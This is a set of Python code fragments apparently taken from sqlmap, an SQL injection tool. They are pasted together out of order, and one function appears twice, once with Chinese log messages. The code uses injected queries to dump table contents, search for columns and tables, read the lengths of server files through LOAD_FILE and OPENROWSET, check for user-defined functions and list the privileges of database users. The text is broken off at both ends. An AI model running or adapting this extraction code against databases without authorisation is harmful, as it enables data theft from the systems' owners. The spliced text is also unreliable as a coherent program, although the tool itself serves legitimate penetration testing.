safeSQLIdentificatorNaming(tbl, True) not in \ kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \ or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table " warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming( tbl) warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" logger.warn(warnMsg) continue colList = sorted( filter( None, kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)].keys())) colString = ", ".join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colString infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming( tbl) infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) entriesCount = 0 if any([ isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION), isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR), conf.direct ]): entries = [] query = None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % ( colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION]. where == PAYLOAD.WHERE.ORIGINAL): table = "%s.%s" % (conf.db, tbl) retVal = pivotDumpTable(table, colList, blind=False) if retVal: entries, _ = retVal entries = zip( *[entries[colName] for colName in colList]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.inband.query % ( colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) if not entries and query: entries = inject.getValue(query, blind=False, dump=True) if isNoneValue(entries): entries = [] elif isinstance(entries, basestring): entries = [entries] elif not isListLike(entries): entries = [] entriesCount = len(entries) for index, column in enumerate(colList): if column not in kb.data.dumpedTable: kb.data.dumpedTable[column] = { "length": len(column), "values": BigArray() } for entry in entries: if entry is None or len(entry) == 0: continue if isinstance(entry, basestring): colEntry = entry else: colEntry = unArrayizeValue( entry[index] ) if index < len(entry) else u'' _ = len( DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))) maxLen = max(len(column), _) if maxLen > kb.data.dumpedTable[column]["length"]: kb.data.dumpedTable[column]["length"] = maxLen kb.data.dumpedTable[column]["values"].append( colEntry) if not kb.data.dumpedTable and isInferenceAvailable( ) and not conf.direct: infoMsg = "fetching number of " if conf.col: infoMsg += "column(s) '%s' " % colString infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % ( tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) elif Backend.isDbms(DBMS.MAXDB): query = rootQuery.blind.count % tbl else: query = rootQuery.blind.count % (conf.db, tbl) count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} entries = {} if count == 0: warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming( conf.db) warnMsg += "appears to be empty" logger.warn(warnMsg) for column in colList: lengths[column] = len(column) entries[column] = [] elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " if conf.col: warnMsg += "column(s) '%s' " % colString warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.warn(warnMsg) continue elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL): if Backend.isDbms(DBMS.ACCESS): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) retVal = pivotDumpTable(table, colList, count, blind=True) if retVal: entries, lengths = retVal else: emptyColumns = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, dump=True, plusOne=plusOne) if len(colList) < len( indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: for column in colList: if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), inband=False, error=False) == '0': emptyColumns.append(column) debugMsg = "column '%s' of table '%s' will not be " % ( column, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) try: for index in indexRange: for column in colList: value = "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query % ( column, conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in ( DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % ( column, column, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % ( column, tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % ( index, column, tbl) value = NULL if column in emptyColumns else inject.getValue( query, inband=False, error=False, dump=True) _ = DUMP_REPLACEMENTS.get( getUnicode(value), getUnicode(value)) lengths[column] = max( lengths[column], len(_)) entries[column].append(value) except KeyboardInterrupt: clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) kb.data.dumpedTable[column] = { "length": length, "values": columnEntries } entriesCount = len(columnEntries) if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): warnMsg = "unable to retrieve the entries " if conf.col: warnMsg += "of columns '%s' " % colString warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'%s" % ( unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") logger.warn(warnMsg) else: kb.data.dumpedTable["__infos__"] = { "count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db) } attackDumpedTable() conf.dumper.dbTableValues(kb.data.dumpedTable) except sqlmapConnectionException, e: errMsg = "connection exception detected in dumping phase: " errMsg += "'%s'" % e logger.critical(errMsg) finally:
def searchColumn(self): bruteForce = False if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True if bruteForce: message = "do you want to use common column existence check? %s" % ( "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, ) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: regex = "|".join(conf.col.split(",")) conf.dumper.dbTableColumns( columnExists(paths.COMMON_COLUMNS, regex)) message = "do you want to dump entries? [Y/n] " output = readInput(message, default="Y") if output and output[0] not in ("n", "N"): self.dumpAll() return rootQuery = queries[Backend.getIdentifiedDbms()].search_column foundCols = {} dbs = {} whereDbsQuery = "" whereTblsQuery = "" infoMsgTbl = "" infoMsgDb = "" colList = conf.col.split(",") origTbl = conf.tbl origDb = conf.db colCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblCond = rootQuery.inband.condition3 colConsider, colCondParam = self.likeOrExact("column") for column in colList: values = [] column = safeSQLIdentificatorNaming(column) conf.db = origDb conf.tbl = origTbl if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): column = column.upper() infoMsg = "searching column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) foundCols[column] = {} if conf.tbl: _ = conf.tbl.split(",") whereTblsQuery = " AND (" + " OR ".join( "%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" infoMsgTbl = " for table%s '%s'" % ( "s" if len(_) > 1 else "", ", ".join( unsafeSQLIdentificatorNaming(tbl) for tbl in _)) if conf.db and conf.db != CURRENT_DB: _ = conf.db.split(",") whereDbsQuery = " AND (" + " OR ".join( "%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" infoMsgDb = " in database%s '%s'" % ( "s" if len(_) > 1 else "", ", ".join( unsafeSQLIdentificatorNaming(db) for db in _)) elif conf.excludeSysDbs: whereDbsQuery = "".join( " AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) infoMsg2 = "skipping system database%s '%s'" % ( "s" if len(self.excludeDbsList) > 1 else "", ", ".join( unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg2) else: infoMsgDb = " across all databases" logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if not all((conf.db, conf.tbl)): # Enumerate tables containing the column provided if # either of database(s) or table(s) is not provided query = rootQuery.inband.query query = query % (colQuery + whereDbsQuery + whereTblsQuery) values = inject.getValue(query, blind=False, time=False) else: # Assume provided databases' tables contain the # column(s) provided values = [] for db in conf.db.split(","): for tbl in conf.tbl.split(","): values.append([ safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True) ]) for db, tbl in filterPairValues(values): db = safeSQLIdentificatorNaming(db) tbls = tbl.split(",") for tbl in tbls: tbl = safeSQLIdentificatorNaming(tbl, True) if db is None or tbl is None: continue conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[ db]: if db not in dbs: dbs[db] = {} if tbl not in dbs[db]: dbs[db][tbl] = {} dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) if db in foundCols[column]: foundCols[column][db].append(tbl) else: foundCols[column][db] = [tbl] kb.data.cachedColumns = {} if not values and isInferenceAvailable() and not conf.direct: if not conf.db: infoMsg = "fetching number of databases with tables containing column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) query = rootQuery.blind.count query = query % (colQuery + whereDbsQuery + whereTblsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no databases have tables containing column" if colConsider == "1": warnMsg += "s like" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming( column) logger.warn("%s%s" % (warnMsg, infoMsgTbl)) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (colQuery + whereDbsQuery + whereTblsQuery) query = agent.limitQuery(index, query) db = unArrayizeValue( inject.getValue(query, union=False, error=False)) db = safeSQLIdentificatorNaming(db) if db not in dbs: dbs[db] = {} if db not in foundCols[column]: foundCols[column][db] = [] else: for db in conf.db.split(","): db = safeSQLIdentificatorNaming(db) if db not in foundCols[column]: foundCols[column][db] = [] origDb = conf.db origTbl = conf.tbl for column, dbData in foundCols.items(): colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) for db in dbData: conf.db = origDb conf.tbl = origTbl infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % ( unsafeSQLIdentificatorNaming(column), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count2 query = query % unsafeSQLIdentificatorNaming(db) query += " AND %s" % colQuery query += whereTblsQuery count = inject.getValue( query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming( column) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query2 if query.endswith("'%s')"): query = query[:-1] + " AND %s)" % ( colQuery + whereTblsQuery) else: query += " AND %s" % (colQuery + whereTblsQuery) query = safeStringFormat( query, unsafeSQLIdentificatorNaming(db)) query = agent.limitQuery(index, query) tbl = unArrayizeValue( inject.getValue(query, union=False, error=False)) kb.hintValue = tbl tbl = safeSQLIdentificatorNaming(tbl, True) conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[ db]: if db not in dbs: dbs[db] = {} if tbl not in dbs[db]: dbs[db][tbl] = {} dbs[db][tbl].update( kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} if db in foundCols[column]: foundCols[column][db].append(tbl) else: foundCols[column][db] = [tbl] if dbs: conf.dumper.dbColumns(foundCols, colConsider, dbs) self.dumpFoundColumn(dbs, foundCols, colConsider) else: warnMsg = "no databases have tables containing any of the " warnMsg += "provided columns" logger.warn(warnMsg)
def _checkFileLength(self, localFile, remoteFile, fileRead=False): if Backend.isDbms(DBMS.MYSQL): lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") inject.goStacked( "INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) try: localFileSize = os.path.getsize(localFile) except OSError: warnMsg = u"文件'%s' 丢失" % localFile logger.warn(warnMsg) localFileSize = 0 if fileRead and Backend.isDbms(DBMS.PGSQL): logger.info("无法在 PostgreSQL 上检查读取文件'%s'的长度" % remoteFile) sameFile = True else: logger.debug(u"检查远程文件'%s'的长度" % remoteFile) remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) sameFile = None if isNumPosStrValue(remoteFileSize): remoteFileSize = long(remoteFileSize) localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) sameFile = False if localFileSize == remoteFileSize: sameFile = True infoMsg = u"本地文件'%s'和远程文件" % localFile infoMsg += u"'%s'的大小相同 (%d B)" % (remoteFile, localFileSize) elif remoteFileSize > localFileSize: infoMsg = u"远程文件'%s'比本地文件'%s' (%dB)大(%d B)" % ( remoteFile, localFile, localFileSize, remoteFileSize) else: infoMsg = u"远程文件'%s'比本地文件'%s' (%dB)小(%d B)" % ( remoteFile, localFile, localFileSize, remoteFileSize) logger.info(infoMsg) else: sameFile = False warnMsg = u"看起来文件尚未写入" warnMsg += u"(通常出现这种情况是因为DBMS进程用户在目标路径中没有写权限)" logger.warn(warnMsg) return sameFile
def searchTable(self): bruteForce = False if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True if bruteForce: message = "do you want to use common table existence check? %s" % ( "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, ) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: regex = "|".join(conf.tbl.split(",")) return tableExists(paths.COMMON_TABLES, regex) foundTbls = {} tblList = conf.tbl.split(",") rootQuery = queries[Backend.getIdentifiedDbms()].search_table tblCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblConsider, tblCondParam = self.likeOrExact("table") for tbl in tblList: values = [] tbl = safeSQLIdentificatorNaming(tbl, True) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD): tbl = tbl.upper() infoMsg = "searching table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) if dbCond and conf.db and conf.db != CURRENT_DB: _ = conf.db.split(",") whereDbsQuery = " AND (" + " OR ".join( "%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: whereDbsQuery = "".join( " AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) infoMsg2 = "skipping system database%s '%s'" % ( "s" if len(self.excludeDbsList) > 1 else "", ", ".join( db for db in self.excludeDbsList)) logger.info(infoMsg2) else: whereDbsQuery = "" logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query query = query % (tblQuery + whereDbsQuery) values = inject.getValue(query, blind=False, time=False) if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): newValues = [] if isinstance(values, basestring): values = [values] for value in values: dbName = "SQLite" if Backend.isDbms( DBMS.SQLITE) else "Firebird" newValues.append( ["%s%s" % (dbName, METADB_SUFFIX), value]) values = newValues for foundDb, foundTbl in filterPairValues(values): foundDb = safeSQLIdentificatorNaming(foundDb) foundTbl = safeSQLIdentificatorNaming(foundTbl, True) if foundDb is None or foundTbl is None: continue if foundDb in foundTbls: foundTbls[foundDb].append(foundTbl) else: foundTbls[foundDb] = [foundTbl] if not values and isInferenceAvailable() and not conf.direct: if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): if len(whereDbsQuery) == 0: infoMsg = "fetching number of databases with table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) query = rootQuery.blind.count query = query % (tblQuery + whereDbsQuery) count = inject.getValue( query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no databases have table" if tblConsider == "1": warnMsg += "s like" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming( tbl) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (tblQuery + whereDbsQuery) query = agent.limitQuery(index, query) foundDb = unArrayizeValue( inject.getValue(query, union=False, error=False)) foundDb = safeSQLIdentificatorNaming(foundDb) if foundDb not in foundTbls: foundTbls[foundDb] = [] if tblConsider == "2": foundTbls[foundDb].append(tbl) if tblConsider == "2": continue else: for db in conf.db.split(","): db = safeSQLIdentificatorNaming(db) if db not in foundTbls: foundTbls[db] = [] else: dbName = "SQLite" if Backend.isDbms( DBMS.SQLITE) else "Firebird" foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = [] for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count2 if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): query = query % unsafeSQLIdentificatorNaming(db) query += " AND %s" % tblQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no table" if tblConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query2 if query.endswith("'%s')"): query = query[:-1] + " AND %s)" % tblQuery else: query += " AND %s" % tblQuery if Backend.isDbms(DBMS.FIREBIRD): query = safeStringFormat(query, index) if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): query = safeStringFormat( query, unsafeSQLIdentificatorNaming(db)) if not Backend.isDbms(DBMS.FIREBIRD): query = agent.limitQuery(index, query) foundTbl = unArrayizeValue( inject.getValue(query, union=False, error=False)) if not isNoneValue(foundTbl): kb.hintValue = foundTbl foundTbl = safeSQLIdentificatorNaming( foundTbl, True) foundTbls[db].append(foundTbl) for db in foundTbls.keys(): if isNoneValue(foundTbls[db]): del foundTbls[db] if not foundTbls: warnMsg = "no databases contain any of the provided tables" logger.warn(warnMsg) return conf.dumper.dbTables(foundTbls) self.dumpFoundTables(foundTbls)
def _checkExistUdf(self, udf): logger.info("checking if UDF '%s' already exist" % udf) query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf)) return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY)
def _checkFileLength(self, localFile, remoteFile, fileRead=False): if Backend.isDbms(DBMS.MYSQL): lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") inject.goStacked( "INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) localFileSize = os.path.getsize(localFile) if fileRead and Backend.isDbms(DBMS.PGSQL): logger.info( "length of read file %s cannot be checked on PostgreSQL" % remoteFile) sameFile = True else: logger.debug("checking the length of the remote file %s" % remoteFile) remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) sameFile = None if isNumPosStrValue(remoteFileSize): remoteFileSize = long(remoteFileSize) sameFile = False if localFileSize == remoteFileSize: sameFile = True infoMsg = "the local file %s and the remote file " % localFile infoMsg += "%s have the same size (%db)" % (remoteFile, localFileSize) elif remoteFileSize > localFileSize: infoMsg = "the remote file %s is larger (%db) than " % ( remoteFile, remoteFileSize) infoMsg += "the local file %s (%db)" % (localFile, localFileSize) else: infoMsg = "the remote file %s is smaller (%db) than " % ( remoteFile, remoteFileSize) infoMsg += "file %s (%db)" % (localFile, localFileSize) logger.info(infoMsg) else: sameFile = False warnMsg = "it looks like the file has not been written (usually " warnMsg += "occurs if the DBMS process' user has no write " warnMsg += "privileges in the destination path)" logger.warn(warnMsg) return sameFile
def getPrivileges(self, query2=False): infoMsg = "fetching database users privileges" rootQuery = queries[Backend.getIdentifiedDbms()].privileges if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(",") if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = filter(None, users) # Set containing the list of DBMS administrators areAdmins = set() if not kb.data.cachedUsersPrivileges and any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " if Backend.isDbms( DBMS.MYSQL) and kb.data.has_information_schema: query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) else: query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) values = inject.getValue(query, blind=False, time=False) if not values and Backend.isDbms(DBMS.ORACLE) and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) if not isNoneValue(values): for value in values: user = None privileges = set() for count in xrange(0, len(value)): # The first column is always the username if count == 0: user = value[count] # The other columns are the privileges else: privilege = value[count] if privilege is None: continue # In PostgreSQL we get 1 if the privilege is # True, 0 otherwise if Backend.isDbms(DBMS.PGSQL) and getUnicode( privilege).isdigit(): if int(privilege) == 1: privileges.add(PGSQL_PRIVS[count]) # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or ( Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms( DBMS.MYSQL ) and not kb.data.has_information_schema: if privilege.upper() == "Y": privileges.add(MYSQL_PRIVS[count]) # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): privileges.add( FIREBIRD_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): privs = privilege.split(",") privilege = privs[0] if len(privs) > 1: privs = privs[1] privs = list(privs.strip()) i = 1 for priv in privs: if priv.upper() in ("Y", "G"): for position, db2Priv in DB2_PRIVS.items( ): if position == i: privilege += ", " + db2Priv i += 1 privileges.add(privilege) if user in kb.data.cachedUsersPrivileges: kb.data.cachedUsersPrivileges[user] = list( privileges.union( kb.data.cachedUsersPrivileges[user])) else: kb.data.cachedUsersPrivileges[user] = list(privileges) if not kb.data.cachedUsersPrivileges and isInferenceAvailable( ) and not conf.direct: if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: conditionChar = "LIKE" else: conditionChar = "=" if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] retrievedUsers = set() for user in users: outuser = user if user in retrievedUsers: continue if Backend.isDbms( DBMS.MYSQL) and kb.data.has_information_schema: user = "******" % user infoMsg = "fetching number of privileges " infoMsg += "for user '%s'" % outuser logger.info(infoMsg) if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 % user elif Backend.isDbms( DBMS.MYSQL) and kb.data.has_information_schema: query = rootQuery.blind.count % (conditionChar, user) elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if not retrievedUsers and Backend.isDbms( DBMS.ORACLE) and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "privileges for user '%s'" % outuser logger.warn(warnMsg) continue infoMsg = "fetching privileges for user '%s'" % outuser logger.info(infoMsg) privileges = set() plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 % (user, index) elif Backend.isDbms( DBMS.MYSQL) and kb.data.has_information_schema: query = rootQuery.blind.query % (conditionChar, user, index) elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.blind.query2 % (user, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, user) else: query = rootQuery.blind.query % (user, index) privilege = unArrayizeValue( inject.getValue(query, union=False, error=False)) if privilege is None: continue # In PostgreSQL we get 1 if the privilege is True, # 0 otherwise if Backend.isDbms(DBMS.PGSQL) and ", " in privilege: privilege = privilege.replace(", ", ",") privs = privilege.split(",") i = 1 for priv in privs: if priv.isdigit() and int(priv) == 1: for position, pgsqlPriv in 